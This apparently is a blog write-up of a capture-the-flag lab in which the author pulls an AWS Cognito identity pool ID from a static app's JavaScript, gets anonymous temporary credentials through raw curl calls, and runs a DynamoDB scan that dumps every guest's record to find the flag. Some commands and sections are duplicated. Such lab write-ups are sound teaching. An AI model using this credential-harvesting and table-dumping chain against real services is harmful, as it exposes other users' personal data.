August 11, 2026
Hacker Holidays Day 3: The App That Handed Out AWS Credentials to Anyone Who Asked
The setup
By Devyaniitware
4 min read
The setup
Day 3 introduces a "complimentary wellness app" — free, no login screen, no sign-up. It just opens and already seems to know your name. The story hints at the obvious question: if there's no login, what's actually deciding what you're allowed to see?
The itinerary is refreshingly direct for once:
- Track down the AWS mechanism issuing credentials behind the scenes
- Use those credentials to dump more than your own record from the app's database
- Retrieve the flag from another guest's data
What's expected: no terminal exploitation, no reverse shells — this one is entirely about cloud misconfiguration, specifically around AWS.
Quick definitions before we start
- AWS (Amazon Web Services) — a cloud platform. Instead of running your own physical servers, companies rent computing power, storage, and databases from Amazon.
- IAM Role — a set of permissions in AWS that defines exactly what actions someone (or something) is allowed to perform — which services they can touch, and what they can do to them.
- Cognito Identity Pool — an AWS service whose entire job is handing out temporary AWS access credentials to app users, often without requiring login at all. This is exactly how apps can talk directly to AWS from your browser with no backend server in between.
- DynamoDB — AWS's NoSQL database service. Think of it as a big table of records, similar in spirit to a spreadsheet, but built to scale to huge sizes.
GetItemvsScan— two different DynamoDB operations.GetItemfetches one specific record (like looking up one row by its ID).Scanreads the entire table, every record, regardless of who it belongs to.
How I started
Since this app has no backend server (it's a static site), everything it knows how to do has to live in the JavaScript sent to the browser — there's no hidden server-side secret. So step one was just reading the frontend code.
curl -s http://TARGET-URL/app.jscurl -s http://TARGET-URL/app.jsThis one file basically handed over the whole map:
IDENTITY_POOL_ID = "us-east-1:836c0949............";
TABLE_NAME = "complimentary-GuestWellnessProfiles"; IDENTITY_POOL_ID = "us-east-1:836c0949............";
TABLE_NAME = "complimentary-GuestWellnessProfiles";
That IDENTITY_POOL_ID was the "invisible mechanism" the room wanted us to find — a real AWS service that hands out temporary credentials to anonymous visitors, no login required.
Getting real AWS credentials
This part surprised me — you don't need any special tool, just two raw API calls to AWS's Cognito endpoint:
Step 1 — get an anonymous identity:
curl -s -X POST https://cognito-identity.us-east-1.amazonaws.com/ -H "X-Amz-Target: AWSCognitoIdentityService.GetId" -H "Content-Type: application/x-amz-json-1.1" -d '{"IdentityPoolId":"us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"}'curl -s -X POST https://cognito-identity.us-east-1.amazonaws.com/ -H "X-Amz-Target: AWSCognitoIdentityService.GetId" -H "Content-Type: application/x-amz-json-1.1" -d '{"IdentityPoolId":"us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"}'
Step 2 — trade that identity for actual credentials:
curl -s -X POST https://cognito-identity.us-east-1.amazonaws.com/ -H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" -H "Content-Type: application/x-amz-json-1.1" -d '{"IdentityId":"us-east-1:4d571309-b086-cf96-2c17-a2988f59008b"}'curl -s -X POST https://cognito-identity.us-east-1.amazonaws.com/ -H "X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity" -H "Content-Type: application/x-amz-json-1.1" -d '{"IdentityId":"us-east-1:4d571309-b086-cf96-2c17-a2988f59008b"}'That second call handed back a real, working AccessKeyId, SecretKey, and SessionToken — genuine (if temporary) AWS credentials, issued to literally nobody.
Confirming the credentials actually worked
I exported those credentials into my terminal and confirmed who I "was" now:
aws sts get-caller-identityaws sts get-caller-identityThis came back as assumed-role/complimentary-cognito-unauth-role — confirming these credentials were real and tied to an actual permission set, not just a dead end.
Confirming the credentials actually worked
Getting credentials back from AWS isn't enough on its own — they need to actually be loaded into your terminal session before any AWS command will use them. This step matters: skip it, and every command you run afterward silently uses your own machine's default identity instead, which leads to confusing "access denied" errors that have nothing to do with the actual vulnerability.
export AWS_ACCESS_KEY_ID="<AccessKeyId from the response>"
export AWS_SECRET_ACCESS_KEY="<SecretKey from the response>"
export AWS_SESSION_TOKEN="<SessionToken from the response>"export AWS_ACCESS_KEY_ID="<AccessKeyId from the response>"
export AWS_SECRET_ACCESS_KEY="<SecretKey from the response>"
export AWS_SESSION_TOKEN="<SessionToken from the response>"With those loaded, I confirmed who I "was" now:
aws sts get-caller-identityaws sts get-caller-identityThis came back as assumed-role/complimentary-cognito-unauth-role — confirming these credentials were real and tied to an actual permission set, not just a dead end.
Getting the flag
The app's own frontend code only ever asked for one row — your own guest record, via GetItem. But nothing about the credentials themselves restricted us to that. So instead of playing by the app's rules, I asked AWS directly for everything:
aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1aws dynamodb scan --table-name complimentary-GuestWellnessProfiles --region us-east-1This dumped every guest's record, not just mine — several other guests' names, emails, even passwords sitting in plain text. Scrolling through, one record stood out immediately: a guest called "VIP-042," whose notes field wasn't really a note at all — it was a direct message left for whoever found it:
"If you're reading this, the wellness app's guest role can read every profile, not just its own. THM{fr33_app_fr33_d4t4!}"
The flag was sitting right there in the raw scan output — no extra filtering needed once you actually looked at what came back.
The big takeaway
An app's frontend only asking for your own data doesn't mean the underlying permissions are actually limited to just your data. The lock (real AWS permissions) and the app's polite behavior (what it chooses to request) are two completely different things — and checking that gap is the whole trick here.
This is a genuinely real, well-documented AWS misconfiguration category — over-permissive Cognito "unauthenticated" roles show up in real bug bounty reports, not just CTF rooms.
Next up: Day 4, where a hidden keylogger disguised stolen keystrokes as ordinary browser cookies.
No sign-up needed for this next bit either — LinkedIn and GitHub, free forever.